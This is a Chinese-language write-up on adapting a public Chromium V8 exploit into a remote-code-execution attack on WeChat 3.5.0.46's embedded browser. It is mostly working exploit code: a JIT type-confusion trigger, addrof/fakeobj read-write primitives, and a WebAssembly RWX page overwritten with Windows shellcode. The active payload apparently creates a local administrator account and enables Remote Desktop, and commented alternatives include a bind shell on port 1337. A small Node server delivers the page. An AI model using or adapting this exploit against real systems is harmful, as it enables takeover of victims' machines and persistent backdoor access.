作者:lxraa@識鏈實驗室

前言

由于無法繞過沙箱,該漏洞已被忽略。

谷歌在V8相關漏洞修復一段時間后,會公布(https://bugs.chromium.org/)漏洞的poc,有些漏洞有exp。但是公布的exp一般是存在漏洞的最后一個版本,由于不同版本V8的數據結構有變化,造成堆布局不同,公布的exp在非實驗環境往往不能直接使用,本文以最新版微信遠程命令執行為例介紹了從exp到實際環境利用腳本的構造過程中可能存在的問題及解決方案。

調試環境

微信3.5.0.46

image-20220303151505447

UA:Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/81.0.4044.138 Safari/537.36 NetType/WIFI MicroMessenger/7.0.20.1781(0x6700143B) WindowsWechat(0x6305002e)

V8:8.1.307.32 32位(由UA判斷,不一定準確,不過不知道準確版本也能調試)

EXP

poc2.html

<html>

<head>

</head>

<body>
exp
<br>
</body>

<script>
   function print(text){
    alert(text+"<br>");
  }

cvt_buf = new ArrayBuffer(8);
cvt_f64a = new Float64Array(cvt_buf);
cvt_u64a = new BigUint64Array(cvt_buf);
cvt_u32a = new Uint32Array(cvt_buf);


function ftoi(f) { // float -> bigint
  cvt_f64a[0] = f;
  return cvt_u64a[0];
 }

function itof(i) { // bigint -> float
  cvt_u64a[0] = i;
  return cvt_f64a[0];
 }

function lower(i) {
    return Number(i % (2n**32n));
}
function upper(i) {
    return Number(i / (2n**32n));
}
function pair(h,l) {
    return BigInt(h) * (2n**32n) + BigInt(l);
}


// todo
function leak_array_map(arg_true, obj,flag) {

    let o = {ct: true, c0: 0, c1: 1}; 
    let aa = arg_true ? 8 : "7";
    let c0 = (Math.max(aa, 0) + aa - 16);
    let v01 = 2**32 + (o.c0 & 1);
    let xx = 2**32-1;
    let ra = (xx >>> c0) - v01;
    let rb = ((xx-2**32) << (32-c0));
    let confused = (ra^rb) >> 31; // Range(0,0); is: -1


    let arr = new Array(3+30*(1+confused));
    arr[0] = 1e64; // make sure arr is of type double
    arr[1] = 2e64;
    let arr2 = new Array(10);//[1337.5, 1338.5, 1339.5]; // arr2 is of type double too
    for (var i = 0; i < 10; i++) arr2[i] = i+1337.5;
    let iter = arr[Symbol.iterator]();


    iter.next();iter.next();iter.next();


    iter.next();

    iter.next();iter.next();iter.next();iter.next();iter.next();iter.next();iter.next();iter.next();iter.next();
    //v0應該是arr2最后一個元素
    let v0 = iter.next();

    let v1 = iter.next();

    return [v0.value, v1.value, arr2];

}



function leak_addr_helper(arg_true, obj,flag) { 

    let o = {ct: true, c0: 0, c1: 1};
    let aa = arg_true ? 8 : "7";
    let c0 = (Math.max(aa, 0) + aa - 16);
    let v01 = 2**32 + (o.c0 & 1);
    let xx = 2**32-1;
    let ra = (xx >>> c0) - v01;
    let rb = ((xx-2**32) << (32-c0));
    let confused = (ra^rb) >> 31; 


    let arr = new Array(3+30*(1+confused));
    arr[0] = 0.5; 
    let arr2 = new Array(5);    for (var idx = 0; idx < 5; idx+=1) arr2[idx]={}; 
    arr2[1] = obj;
    arr2[0] = 0x1337;

    let iter = arr[Symbol.iterator]();

    iter.next();iter.next();iter.next();iter.next();

    let v1 = iter.next().value;

    return v1;

}


function fake_obj_helper(arg_true, val,flag) { 

    let o = {ct: true, c0: 0, c1: 1};
    let aa = arg_true ? 8 : "7";
    let c0 = (Math.max(aa, 0) + aa - 16);
    let v01 = 2**32 + (o.c0 & 1);
    let xx = 2**32-1;
    let ra = (xx >>> c0) - v01;
    let rb = ((xx-2**32) << (32-c0));
    let confused = (ra^rb) >> 31; 

    let arr = new Array(3+30*(1+confused));

    arr[0] = 0; //smi和obj的堆布局有不同,這里不要動
    let arr2 = new Array(5);    for (var idx = 0; idx < 5; idx+=1) arr2[idx]=0.0; 

    arr2[0] = val;

    let iter = arr[Symbol.iterator]();

    iter.next();iter.next();iter.next();
    iter.next();
    //v0應該是arr2的長度,即5
    let v0 = iter.next();
    let v1 = iter.next();

    return [v0.value,v1.value];

}


print("start");


let obj = new Array(128);
for (i=0; i < 3000; i+=1) leak_addr_helper(true,obj,false);
alert("jit1");

let arr = new Array(128);
for (i=0; i < 3000; i+=1){
    leak_array_map(true,arr,false);
} 

print("jit2");
for (i=0; i < 10**4; i+=1) fake_obj_helper(true,2.567347528655259e-289,false);
fake_obj_helper(true,1.2132797677859895e-279,true);
alert("end of jit optimization");


var res = leak_array_map(true,arr,true);
let array_map_leak = res[1];
print("anchor data = 0x" + (ftoi(res[0])).toString(16) + " | " + res[0]);
print("array_map_leak = 0x" + (ftoi(res[1])).toString(16) + " | "  +res[1]);


function addrof(obj) {
    let f = leak_addr_helper(true, obj,true);
    let n = ftoi(f);
    let u = upper(n);
    let l = lower(n);

    if (l == (0x1337 << 1)) print("[*]lower data match");
    return u;
}




function fakeobj(addr) {
    // given a tagged, compressed pointer, return the fake object at that place
    let f = itof(pair(addr,addr));
    let res = fake_obj_helper(true,f,true);
    print("[*]res[0]:"+res[0])
    return res[1];
}


let foo_arr = [0.0, 1.1, 2.2, 3.3, 4.4];
let foo_content_addr = addrof(foo_arr) + 32;
print("[*] addr of foo_arr:"+foo_content_addr.toString(16));

let rw_arr = [itof(pair(0x13361336,0x13361336)),1.1,0.0,array_map_leak,60.0,0.0];
let rw_arr_addr = addrof(rw_arr);
print("[*] array_map_leak:"+ftoi(array_map_leak).toString(16));
let rw_arr_content_addr = rw_arr_addr - 0x38;
print("[*] rw_arr_content_addr:"+rw_arr_content_addr.toString(16));

let r = fakeobj(rw_arr_content_addr+0x20);

function read64(addr) {
    // print("addr:0x"+addr.toString(16));
    // rw_arr[4] = itof(pair(50, addr-8));
    rw_arr[4] = itof(pair(50, addr-8));;
    return ftoi(r[0]);
}

function write64(addr,data){
    rw_arr[4] = itof(pair(50, addr-8));
    r[0] = itof(data);
}


print("before alloc wasm");


var wasmCode = new Uint8Array([0,97,115,109,1,0,0,0,1,133,128,128,128,0,1,96,0,1,127,3,130,128,128,128,0,1,0,4,132,128,128,128,0,1,112,0,0,5,131,128,128,128,0,1,0,1,6,129,128,128,128,0,0,7,145,128,128,128,0,2,6,109,101,109,111,114,121,2,0,4,109,97,105,110,0,0,10,138,128,128,128,0,1,132,128,128,128,0,0,65,42,11]);
var wasmModule = new WebAssembly.Module(wasmCode);
var wasmInstance = new WebAssembly.Instance(wasmModule,{});
var f = wasmInstance.exports.main;

print("after alloc wasm");
let wasm_instance_addr = addrof(wasmInstance);


print("[*] wasm_instance_addr 0x" + wasm_instance_addr.toString(16));

// winexec calc.exe

// var shellcode = [
// 0x89,0xe5,0x81,0xc4,0xf0,0xf9,0xff,0xff,0x31,0xc9,0x64,0x8b,0x71,0x30,0x8b,0x76,0x0c,0x8b,0x76,0x1c,0x8b,0x5e,0x08,0x8b,0x7e
// ,0x20,0x8b,0x36,0x66,0x39,0x4f,0x18,0x75,0xf2,0xeb,0x06,0x5e,0x89,0x75,0x04,0xeb,0x54,0xe8,0xf5,0xff,0xff,0xff,0x60,0x8b,0x43
// ,0x3c,0x8b,0x7c,0x03,0x78,0x01,0xdf,0x8b,0x4f,0x18,0x8b,0x47,0x20,0x01,0xd8,0x89,0x45,0xfc,0xe3,0x36,0x49,0x8b,0x45,0xfc,0x8b
// ,0x34,0x88,0x01,0xde,0x31,0xc0,0x99,0xfc,0xac,0x84,0xc0,0x74,0x07,0xc1,0xca,0x0d,0x01,0xc2,0xeb,0xf4,0x3b,0x54,0x24,0x24,0x75
// ,0xdf,0x8b,0x57,0x24,0x01,0xda,0x66,0x8b,0x0c,0x4a,0x8b,0x57,0x1c,0x01,0xda,0x8b,0x04,0x8a,0x01,0xd8,0x89,0x44,0x24,0x1c,0x61
// ,0xc3,0x68,0x98,0xfe,0x8a,0x0e,0xff,0x55,0x04,0x89,0x45,0x10,0x68,0x83,0xb9,0xb5,0x78,0xff,0x55,0x04,0x89,0x45,0x14,0x31,0xc0
// ,0x50,       0x68,0x2e,0x65,0x78,0x65,      0x68,0x63,0x61,0x6c,0x63,       0x54,0x5b,0x31,0xc0,0x50,0x53,0xff,0x55,0x10,0x31,0xc0,0x50,0x6a,0xff //0x68 push dword 0x636c6163 clac push dword 0x6578652e exe.
// ,0xff,0x55,0x14,0x90,0x90,0x90,0x90
// ];
// var shellcode = [
// 0x89,0xe5,0x81,0xc4,0xf0,0xf9,0xff,0xff,0x31,0xc9,0x64,0x8b,0x71,0x30,0x8b,0x76,0x0c,0x8b,0x76,0x1c,0x8b,0x5e,0x08,0x8b,0x7e
// ,0x20,0x8b,0x36,0x66,0x39,0x4f,0x18,0x75,0xf2,0xeb,0x06,0x5e,0x89,0x75,0x04,0xeb,0x54,0xe8,0xf5,0xff,0xff,0xff,0x60,0x8b,0x43
// ,0x3c,0x8b,0x7c,0x03,0x78,0x01,0xdf,0x8b,0x4f,0x18,0x8b,0x47,0x20,0x01,0xd8,0x89,0x45,0xfc,0xe3,0x36,0x49,0x8b,0x45,0xfc,0x8b
// ,0x34,0x88,0x01,0xde,0x31,0xc0,0x99,0xfc,0xac,0x84,0xc0,0x74,0x07,0xc1,0xca,0x0d,0x01,0xc2,0xeb,0xf4,0x3b,0x54,0x24,0x24,0x75
// ,0xdf,0x8b,0x57,0x24,0x01,0xda,0x66,0x8b,0x0c,0x4a,0x8b,0x57,0x1c,0x01,0xda,0x8b,0x04,0x8a,0x01,0xd8,0x89,0x44,0x24,0x1c,0x61
// ,0xc3,0x68,0x98,0xfe,0x8a,0x0e,0xff,0x55,0x04,0x89,0x45,0x10,0x68,0x83,0xb9,0xb5,0x78,0xff,0x55,0x04,0x89,0x45,0x14,0x31,0xc0
// ,0x50,      0x68, 46, 101, 120, 101,  0x68, 99, 97, 108, 99,       0x68 ,109, 51, 50, 92,      0x68, 121, 115 ,116, 101,   0x68, 119, 115, 92, 83,  0x68,105, 110, 100, 111,  0x68,67,58,92,87,          0x54,0x5b,0x31,0xc0,0x50,0x53,0xff,0x55,0x10,0x31,0xc0,0x50,0x6a,0xff //0x68 push dword 0x636c6163 clac push dword 0x6578652e exe.
// ,0xff,0x55,0x14,0x90,0x90,0x90,0x90
// ];
// createProcessA
// var shellcode = [
// 0x31,0xc9,0x64,0x8b,0x41,0x30,0x8b,0x40,0x0c,0x8b,0x70,0x14,0xad,0x96,0xad,0x8b,0x48,0x10,0x31,0xdb,0x8b,0x59,0x3c,0x01,0xcb,0x8b,0x5b,0x78,0x01,0xcb,0x8b,0x73,0x20,0x01,0xce,0x31,0xd2,0x42,0xad,0x01,0xc8,0x81,0x38,0x47,0x65,0x74,0x50,0x75,0xf4,0x81,0x78,0x04,0x72,0x6f,0x63,0x41,0x75,0xeb,0x81,0x78,0x08,0x64,0x64,0x72,0x65,0x75,0xe2,0x8b,0x73,0x1c,0x01,0xce,0x8b,0x14,0x96,0x01,0xca,0x89,0xd6,0x89,0xcf,0x31,0xdb,0x68,0x79,0x41,0x41,0x41,0x66,0x89,0x5c,0x24,0x01,0x68,0x65,0x6d,0x6f,0x72,0x68,0x65,0x72,0x6f,0x4d,0x68,0x52,0x74,0x6c,0x5a,0x54,0x51,0xff,0xd2,0x83,0xc4,0x10,0x31,0xc9,0x89,0xca,0xb2,0x54,0x51,0x83,0xec,0x54,0x8d,0x0c,0x24,0x51,0x52,0x51,0xff,0xd0,0x59,0x31,0xd2,0x68,0x73,0x41,0x42,0x42,0x66,0x89,0x54,0x24,0x02,0x68,0x6f,0x63,0x65,0x73,0x68,0x74,0x65,0x50,0x72,0x68,0x43,0x72,0x65,0x61,0x8d,0x14,0x24,0x51,0x52,0x57,0xff,0xd6,0x59,0x83,0xc4,0x10,0x31,0xdb,0x68,0x65,0x78,0x65,0x41,0x88,0x5c,0x24,0x03,0x68,0x63,0x6d,0x64,0x2e,0x8d,0x1c,0x24,0x31,0xd2,0xb2,0x44,0x89,0x11,0x8d,0x51,0x44,0x56,0x31,0xf6,0x52,0x51,0x56,0x56,0x56,0x56,0x56,0x56,0x53,0x56,0xff,0xd0,0x5e,0x83,0xc4,0x08,0x31,0xdb,0x68,0x65,0x73,0x73,0x41,0x88,0x5c,0x24,0x03,0x68,0x50,0x72,0x6f,0x63,0x68,0x45,0x78,0x69,0x74,0x8d,0x1c,0x24,0x53,0x57,0xff,0xd6,0x31,0xc9,0x51,0xff,0xd0
// ];

// calc
// var shellcode = [
// 0x89,0xe5,0x81,0xc4,0xf0,0xf9,0xff,0xff,0x31,0xc9,0x64,0x8b,0x71,0x30,0x8b,0x76,0x0c,0x8b,0x76,0x1c,0x8b,0x5e,0x08,0x8b,0x7e
// ,0x20,0x8b,0x36,0x66,0x39,0x4f,0x18,0x75,0xf2,0xeb,0x06,0x5e,0x89,0x75,0x04,0xeb,0x54,0xe8,0xf5,0xff,0xff,0xff,0x60,0x8b,0x43
// ,0x3c,0x8b,0x7c,0x03,0x78,0x01,0xdf,0x8b,0x4f,0x18,0x8b,0x47,0x20,0x01,0xd8,0x89,0x45,0xfc,0xe3,0x36,0x49,0x8b,0x45,0xfc,0x8b
// ,0x34,0x88,0x01,0xde,0x31,0xc0,0x99,0xfc,0xac,0x84,0xc0,0x74,0x07,0xc1,0xca,0x0d,0x01,0xc2,0xeb,0xf4,0x3b,0x54,0x24,0x24,0x75
// ,0xdf,0x8b,0x57,0x24,0x01,0xda,0x66,0x8b,0x0c,0x4a,0x8b,0x57,0x1c,0x01,0xda,0x8b,0x04,0x8a,0x01,0xd8,0x89,0x44,0x24,0x1c,0x61
// ,0xc3,0x68,0x98,0xfe,0x8a,0x0e,0xff,0x55,0x04,0x89,0x45,0x10,0x68,0x83,0xb9,0xb5,0x78,0xff,0x55,0x04,0x89,0x45,0x14,0x31,0xc0
// ,0x50,       0x68,0x2e,0x65,0x78,0x65,      0x68,0x63,0x61,0x6c,0x63,       0x54,0x5b,0x31,0xc0,0x50,0x53,0xff,0x55,0x10,0x31,0xc0,0x50,0x6a,0xff //0x68 push dword 0x636c6163 clac push dword 0x6578652e exe.
// ,0xff,0x55,0x14,0x90,0x90,0x90,0x90
// ];

//shellexecutea calc.exe
// var shellcode = [
// 0x31,0xc9,0x64,0x8b,0x41,0x30,0x8b,0x40,0x0c,0x8b,0x70,0x14,0xad,0x96,0xad,0x8b,0x58,0x10,0x8b,0x53,0x3c,0x01,0xda,0x8b,0x52,0x78,0x01,0xda,0x8b,0x72,0x20,0x01,0xde,0x31,0xc9,0x41,0xad,0x01,0xd8,0x81,0x38,0x47,0x65,0x74,0x50,0x75,0xf4,0x81,0x78,0x04,0x72,0x6f,0x63,0x41,0x75,0xeb,0x81,0x78,0x08,0x64,0x64,0x72,0x65,0x75,0xe2,0x8b,0x72,0x24,0x01,0xde,0x66,0x8b,0x0c,0x4e,0x49,0x8b,0x72,0x1c,0x01,0xde,0x8b,0x14,0x8e,0x01,0xda,0x31,0xf6,0x89,0xd6,0x31,0xff,0x89,0xdf,0x31,0xc9,0x51,0x68,0x61,0x72,0x79,0x41,0x68,0x4c,0x69,0x62,0x72,0x68,0x4c,0x6f,0x61,0x64,0x54,0x53,0xff,0xd2,0x83,0xc4,0x0c,0x31,0xc9,0x68,0x65,0x73,0x73,0x42,0x88,0x4c,0x24,0x03,0x68,0x50,0x72,0x6f,0x63,0x68,0x45,0x78,0x69,0x74,0x54,0x57,0x31,0xff,0x89,0xc7,0xff,0xd6,0x83,0xc4,0x0c,0x31,0xc9,0x51,0x68,0x64,0x6c,0x6c,0x41,0x88,0x4c,0x24,0x03,0x68,0x6c,0x33,0x32,0x2e,0x68,0x73,0x68,0x65,0x6c,0x54,0x31,0xd2,0x89,0xfa,0x89,0xc7,0xff,0xd2,0x83,0xc4,0x0b,0x31,0xc9,0x68,0x41,0x42,0x42,0x42,0x88,0x4c,0x24,0x01,0x68,0x63,0x75,0x74,0x65,0x68,0x6c,0x45,0x78,0x65,0x68,0x53,0x68,0x65,0x6c,0x54,0x50,0xff,0xd6,0x83,0xc4,0x0d,0x31,0xc9,0x68,0x65,0x78,0x65,0x41,0x88,0x4c,0x24,0x03,0x68,0x63,0x6d,0x64,0x2e,0x54,0x59,0x31,0xd2,0x42,0x52,0x31,0xd2,0x52,0x52,0x51,0x52,0x52,0xff,0xd0,0xff,0xd7
// ];

// WinExec("cmd.exe",0)
// var shellcode = [
// 0x31,0xc9,0x64,0xa1,0x30,0x00,0x00,0x00,0x8b,0x40,0x0c,0x8b,0x70,0x14,0xad,0x96,0xad,0x8b,0x58,0x10,0x8b,0x53,0x3c,0x01,0xda,0x8b,0x52,0x78,0x01,0xda,0x8b,0x72,0x20,0x01,0xde,0x31,0xc9,0x41,0xad,0x01,0xd8,0x81,0x38,0x47,0x65,0x74,0x50,0x75,0xf4,0x81,0x78,0x04,0x72,0x6f,0x63,0x41,0x75,0xeb,0x81,0x78,0x08,0x64,0x64,0x72,0x65,0x75,0xe2,0x8b,0x72,0x24,0x01,0xde,0x66,0x8b,0x0c,0x4e,0x49,0x8b,0x72,0x1c,0x01,0xde,0x8b,0x14,0x8e,0x01,0xda,0x31,0xf6,0x52,0x5e,0x31,0xff,0x53,0x5f,0x31,0xc9,0x51,0x68,0x78,0x65,0x63,0x00,0x68,0x57,0x69,0x6e,0x45,0x89,0xe1,0x51,0x53,0xff,0xd2,0x31,0xc9,0x51,0x68,0x65,0x73,0x73,0x00,0x68,0x50,0x72,0x6f,0x63,0x68,0x45,0x78,0x69,0x74,0x89,0xe1,0x51,0x57,0x31,0xff,0x89,0xc7,0xff,0xd6,0x31,0xf6,0x50,0x5e,0x31,0xc9,0x51,0x68,0x65,0x78,0x65,0x00,0x68,0x63,0x6d,0x64,0x2e,0x89,0xe1,0x6a,0x00,0x51,0xff,0xd7,0x6a,0x00,0xff,0xd6,0xff,0xff,0xff,0xff,0x00,0x00,0x00,0xff,0xff,0xff,0xff,0x00,0x00,0x00
// ];

//bind tcp 1337
// var shellcode = [
// 0x89,0xe5,0x81,0xc4,0xf0,0xf9,0xff,0xff,0x31,0xc9,0x64,0x8b,0x71,0x30,0x8b,0x76,0x0c,0x8b
//      ,0x76,0x1c,0x8b,0x5e,0x08,0x8b,0x7e,0x20,0x8b,0x36,0x66,0x39,0x4f,0x18,0x75,0xf2,0xeb,0x06
//      ,0x5e,0x89,0x75,0x04,0xeb,0x54,0xe8,0xf5,0xff,0xff,0xff,0x60,0x8b,0x43,0x3c,0x8b,0x7c,0x03
//      ,0x78,0x01,0xdf,0x8b,0x4f,0x18,0x8b,0x47,0x20,0x01,0xd8,0x89,0x45,0xfc,0xe3,0x36,0x49,0x8b
//      ,0x45,0xfc,0x8b,0x34,0x88,0x01,0xde,0x31,0xc0,0x99,0xfc,0xac,0x84,0xc0,0x74,0x07,0xc1,0xca
//      ,0x0d,0x01,0xc2,0xeb,0xf4,0x3b,0x54,0x24,0x24,0x75,0xdf,0x8b,0x57,0x24,0x01,0xda,0x66,0x8b
//      ,0x0c,0x4a,0x8b,0x57,0x1c,0x01,0xda,0x8b,0x04,0x8a,0x01,0xd8,0x89,0x44,0x24,0x1c,0x61,0xc3
//      ,0x68,0x83,0xb9,0xb5,0x78,0xff,0x55,0x04,0x89,0x45,0x10,0x68,0x8e,0x4e,0x0e,0xec,0xff,0x55
//      ,0x04,0x89,0x45,0x14,0x68,0x72,0xfe,0xb3,0x16,0xff,0x55,0x04,0x89,0x45,0x18,0x31,0xc0,0x66
//      ,0xb8,0x6c,0x6c,0x50,0x68,0x33,0x32,0x2e,0x64,0x68,0x77,0x73,0x32,0x5f,0x54,0xff,0x55,0x14
//      ,0x89,0xc3,0x68,0xcb,0xed,0xfc,0x3b,0xff,0x55,0x04,0x89,0x45,0x1c,0x68,0xd9,0x09,0xf5,0xad
//      ,0xff,0x55,0x04,0x89,0x45,0x20,0x68,0xa4,0x1a,0x70,0xc7,0xff,0x55,0x04,0x89,0x45,0x24,0x68
//      ,0xa4,0xad,0x2e,0xe9,0xff,0x55,0x04,0x89,0x45,0x28,0x68,0x76,0x79,0x5b,0x9f,0xff,0x55,0x04
//      ,0x89,0x45,0x32,0x68,0xe5,0x49,0x86,0x49,0xff,0x55,0x04,0x89,0x45,0x36,0x89,0xe0,0x66,0xb9
//      ,0x90,0x05,0x29,0xc8,0x50,0x31,0xc0,0x66,0xb8,0x02,0x02,0x50,0xff,0x55,0x1c,0x31,0xc0,0x50
//      ,0x50,0x50,0xb0,0x06,0x50,0x2c,0x05,0x50,0x40,0x50,0xff,0x55,0x20,0x89,0xc6,0x31,0xc0,0x50
//      ,0x66,0xb8,0x05,0x39,0xc1,0xe0,0x10,0x66,0x83,0xc0,0x02,0x50,0x54,0x5f,0x31,0xc0,0x04,0x16
//      ,0x50,0x57,0x56,0xff,0x55,0x24,0xff,0x55,0x32,0x31,0xc0,0x50,0x56,0xff,0x55,0x28,0x31,0xc0
//      ,0x50,0x50,0x56,0xff,0x55,0x36,0x89,0xc6,0x56,0x56,0x56,0x31,0xc0,0x50,0x50,0xb0,0x80,0x31
//      ,0xc9,0xb1,0x80,0x01,0xc8,0x50,0x31,0xc0,0x50,0x50,0x50,0x50,0x50,0x50,0x50,0x50,0x50,0x50
//      ,0xb0,0x44,0x50,0x54,0x5f,0xb8,0x9b,0x87,0x9a,0xff,0xf7,0xd8,0x50,0x68,0x63,0x6d,0x64,0x2e
//      ,0x54,0x5b,0x89,0xe0,0x31,0xc9,0x66,0xb9,0x90,0x03,0x29,0xc8,0x50,0x57,0x31,0xc0,0x50,0x50
//      ,0x50,0x40,0x50,0x48,0x50,0x50,0x53,0x50,0xff,0x55,0x18,0x31,0xc0,0x50,0x6a,0xff,0xff,0x55
//      ,0x04
// ];
// messageboxa
var shellcode = [
// 0x6A,0x00,//push 0
// 0x6A,0x00,//push 0
// 0x6A,0x00,//push 0
// 0x6A,0x00,//push 0
// 0xFF,0x15,0x12,0x13,0x14,0x15,//call xxxx


0x89,0xe5,0x83,0xec,0x30,0x31,0xdb,0x64,0x8b,0x5b,0x30,0x8b,0x5b,0x0c,0x8b,0x5b,0x1c,0x8b,0x1b,0x8b,0x1b
,0x8b,0x43,0x08,0x89,0x45,0xfc,0x8b,0x58,0x3c,0x01,0xc3,0x8b,0x5b,0x78,0x01,0xc3,0x8b,0x7b,0x20,0x01,0xc7
,0x89,0x7d,0xf8,0x8b,0x4b,0x24,0x01,0xc1,0x89,0x4d,0xf4,0x8b,0x53,0x1c,0x01,0xc2,0x89,0x55,0xf0,0x8b,0x53
,0x14,0x89,0x55,0xec,0xeb,0x32,0x31,0xc0,0x8b,0x55,0xec,0x8b,0x7d,0xf8,0x8b,0x75,0xe8,0x31,0xc9,0xfc,0x8b
,0x3c,0x87,0x03,0x7d,0xfc,0x66,0x83,0xc1,0x0f,0xf3,0xa6,0x74,0x05,0x40,0x39,0xd0,0x72,0xe4,0x8b,0x4d,0xf4
,0x8b,0x55,0xf0,0x66,0x8b,0x04,0x41,0x8b,0x04,0x82,0x03,0x45,0xfc,0xc3,0x31,0xc0,0x66,0xb8,0x73,0x73,0x50
,0x68,0x64,0x64,0x72,0x65,0x68,0x72,0x6f,0x63,0x41,0x68,0x47,0x65,0x74,0x50,0x89,0x65,0xe8,0xe8,0xb0,0xff
,0xff,0xff,0x89,0x45,0xe4,0x31,0xd2,0x52,0x68,0x61,0x72,0x79,0x41,0x68,0x4c,0x69,0x62,0x72,0x68,0x4c,0x6f
,0x61,0x64,0x54,0xff,0x75,0xfc,0x8b,0x45,0xe4,0xff,0xd0,0x89,0x45,0xe0,0x31,0xc0,0x66,

0xb8,0x72,0x74, //mov ax 0x7472=rt
0x50 //push eax
,0x68,0x6d,0x73,0x76,0x63,  //push 0x6d737663=msvc

// 0xb8,0x33,0x32,     //32
// 0x50,
// 0x68,0x75,0x73,0x65,0x72,//user

0x54,0x8b,0x5d,0xe0,0xff,0xd3,0x89,0x45,0xdc,0x31,0xd2,0x66,

0xba,0x65,0x6d, //mov dx em
0x52    //push edx
,0x68,0x73,0x79,0x73,0x74, //push syst

// get MessageBoxA
// 
// 0x68,0x6f,0x78,0x41,0x00,//push oxA\x0
// 0x68,0x61,0x67,0x65,0x42,//push ageB
// 0x68,0x4D,0x65,0x73,0x73,//push Mess

0x54,0xff,0x75,0xdc,0x8b,0x45,0xe4,0xff,0xd0,0x89,0x45,0xd8,0x31,0xc9,0x66,0xb9
,0x4c,0x45,0x51,
/*
push 0x42415349    ; BASI : 42415349
push 0x443d6564    ; D=ed : 443d6564
push 0x6f6d2065    ; om e : 6f6d2065
push 0x646f6d70    ; domp : 646f6d70
push 0x6f207465    ; o te : 6f207465
push 0x73206c6c    ; s ll : 73206c6c
push 0x61776572    ; awer : 61776572
push 0x69662068    ; if h : 69662068
push 0x7374656e    ; sten : 7374656e
*/
// 0x68,0x49,0x53,0x41,0x42,
// 0x68,0x64,0x65,0x3d,0x44,
// 0x68,0x65,0x20,0x6d,0x6f,
// 0x68,0x70,0x6d,0x6f,0x64,
// 0x68,0x65,0x74,0x20,0x6f,
// 0x68,0x6c,0x6c,0x20,0x73,
// 0x68,0x72,0x65,0x77,0x61,
// 0x68,0x68,0x20,0x66,0x69,
// 0x68,0x6e,0x65,0x74,0x73,
//------構造system參數
0x68,32,32,32,00,      
0x68,46,101,120,101,
0x68,99,97,108,99,
0x54,   //push esp
//--------

// 0x6A,0x00,
// 0x6A,0x00,
// 0x6A,0x00,
// 0x6A,0x00,

0x8b,0x45,0xd8, //mov     eax,dword ptr [ebp-28h]

0xff,0xd0,  //call eax


0x31,0xc9,0x51,0x68,0x2f,0x61,0x64,0x64,0x68
,0x79,0x21,0x21,0x20,0x68,0x43,0x40,0x6e,0x64,0x68,0x72,0x6e,0x55,0x32,0x68,0x75,0x20,0x54,0x75,0x68,0x69
,0x6e,0x42,0x75,0x68,0x20,0x4d,0x61,0x6a,0x68,0x75,0x73,0x65,0x72,0x68,0x6e,0x65,0x74,0x20,0x54,0x8b,0x45
,0xd8,0xff,0xd0,0x31,0xc9,0x51,0xb9,0x90,0x61,0x64,0x64,0xc1,0xe9,0x08,0x51,0x68,0x75,0x75,0x20,0x2f,0x68
,0x6a,0x69,0x6e,0x42,0x68,0x73,0x20,0x4d,0x61,0x68,0x61,0x74,0x6f,0x72,0x68,0x69,0x73,0x74,0x72,0x68,0x64
,0x6d,0x69,0x6e,0x68,0x75,0x70,0x20,0x41,0x68,0x6c,0x67,0x72,0x6f,0x68,0x6c,0x6f,0x63,0x61,0x68,0x6e,0x65
,0x74,0x20,0x54,0x8b,0x45,0xd8,0xff,0xd0,0x31,0xc9,0x51,0xb9,0x90,0x61,0x64,0x64,0xc1,0xe9,0x08,0x51,0x68
,0x75,0x75,0x20,0x2f,0x68,0x6a,0x69,0x6e,0x42,0x68,0x22,0x20,0x4d,0x61,0x68,0x73,0x65,0x72,0x73,0x68,0x6f
,0x70,0x20,0x55,0x68,0x65,0x73,0x6b,0x74,0x68,0x74,0x65,0x20,0x44,0x68,0x52,0x65,0x6d,0x6f,0x68,0x75,0x70
,0x20,0x22,0x68,0x6c,0x67,0x72,0x6f,0x68,0x6c,0x6f,0x63,0x61,0x68,0x6e,0x65,0x74,0x20,0x54,0x8b,0x45,0xd8
,0xff,0xd0,0x31,0xc9,0x51,0x68,0x30,0x20,0x2f,0x66,0x68,0x20,0x2f,0x64,0x20,0x68,0x57,0x4f,0x52,0x44,0x68
,0x45,0x47,0x5f,0x44,0x68,0x2f,0x74,0x20,0x52,0x68,0x6f,0x6e,0x73,0x20,0x68,0x65,0x63,0x74,0x69,0x68,0x43
,0x6f,0x6e,0x6e,0x68,0x6e,0x79,0x54,0x53,0x68,0x20,0x66,0x44,0x65,0x68,0x22,0x20,0x2f,0x76,0x68,0x72,0x76
,0x65,0x72,0x68,0x6c,0x20,0x53,0x65,0x68,0x6d,0x69,0x6e,0x61,0x68,0x5c,0x54,0x65,0x72,0x68,0x74,0x72,0x6f
,0x6c,0x68,0x5c,0x43,0x6f,0x6e,0x68,0x6c,0x53,0x65,0x74,0x68,0x6e,0x74,0x72,0x6f,0x68,0x6e,0x74,0x43,0x6f
,0x68,0x75,0x72,0x72,0x65,0x68,0x45,0x4d,0x5c,0x43,0x68,0x53,0x59,0x53,0x54,0x68,0x49,0x4e,0x45,0x5c,0x68
,0x4d,0x41,0x43,0x48,0x68,0x43,0x41,0x4c,0x5f,0x68,0x59,0x5f,0x4c,0x4f,0x68,0x22,0x48,0x4b,0x45,0x68,0x61
,0x64,0x64,0x20,0x68,0x72,0x65,0x67,0x20,0x54,0x8b,0x45,0xd8,0xff,0xd0
];


var data_buf = new ArrayBuffer(shellcode.length*8);
var data_view = new DataView(data_buf);
var data_buf_address = addrof(data_buf);
print("[*]data_buf_address:0x"+data_buf_address.toString(16));
// for(var i = 0;i < 20;i++){
//     print("i:"+i+"  data:"+read64(wasm_instance_addr+i*8).toString(16));
// }
//注意偏移量
var buf_backing_store_addr = data_buf_address + 0x8*2;

//注意偏移量
let rwx_page = read64(wasm_instance_addr+0x40);
print("[*] rwx_page addr 0x" + (rwx_page).toString(16));
write64(buf_backing_store_addr,rwx_page);
print("write to: 0x"+buf_backing_store_addr.toString(16)+" data:0x"+rwx_page.toString(16));
var tmp2 = read64(buf_backing_store_addr);
print("tmp2:0x"+tmp2.toString(16));


for(let i = 0;i < shellcode.length;i++){
    data_view.setUint8(i,shellcode[i],true);
}
alert("[*] 寫代碼成功"+rwx_page.toString(16));
f();
alert("[*]執行完畢")

</script>

</html>

server.js

const express = require("express")
const fs = require("fs")
const app = express()
const path = require("path")
const https = require("https")


app.get("/test",function(req,res){
    console.log("get request");
    res.send("ok");
})

app.use("/",express.static(path.join(__dirname,"public")))

app.listen(443,function(){
    console.log("listening 443...")
})

使用方法:

安裝nodejs,在server.js同目錄下創建public文件夾,node server.js跑起來(也可以使用自己熟悉的其他語言搭建服務器)

